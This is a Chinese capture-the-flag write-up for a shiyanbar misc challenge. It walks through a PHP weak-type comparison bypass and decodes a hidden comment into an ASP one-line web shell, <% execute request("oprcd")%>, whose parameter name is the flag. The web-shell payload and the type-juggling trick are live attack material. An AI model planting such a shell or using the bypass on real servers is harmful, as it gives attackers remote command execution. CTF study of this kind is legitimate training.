题目链接:http://ctf5.shiyanbar.com/misc/5/foot.php
打开题目网页看到满屏的二维码和一个userid查询的输入栏,但经过尝试不管输入什么,查询的结果都会是查询id为2,于是扫描了一下二维码,看到一个rootpadding.txt
,访问之后,得到的是一段php源码
$usera = ($_POST['userid']);
if(isset($usera)){
if ($usera == "1"){
$usera = (int)($usera);
if($usera == "0"){
header('Location: ./bhjskdfiffeswdwe.php');
}
}
简单分析该源码,从POST请求中获取userid,再将其与“1”和“0”比较,如果为“1"则变更为整型,并且为”0"则给用户发送一个特定的http报头。此处可以直接访问目标地址,也可以通过php弱类型比较(0.99999999999999999,小数点后至少有17位)进行跳转
直接访问后看到的是一个404页面,首先看下页面源码,果然看到了一个注释┼攠數畣整爠煥敵瑳∨灯捲≤┩>
,以我的经验只看出了这是个编码错误,且神似windows下的Unicode编码的文本以ANSI保存后的乱码(看了大佬的WP后,发现果然是这样)。因为所用的是linux,所以借用pcat大神的python转换代码
#!/usr/bin/env python
# coding=utf-8
s1='┼攠數畣整爠煥敵瑳∨灯捲≤┩>'
s2=unicode(s1,'utf8').encode('utf16')[2:]
print s2
执行后得到<% execute request("oprcd")%>
,这是一个一句话木马的格式
注:实验吧的flag格式真迷,这道题的flag为ctf{oprcd}
网友评论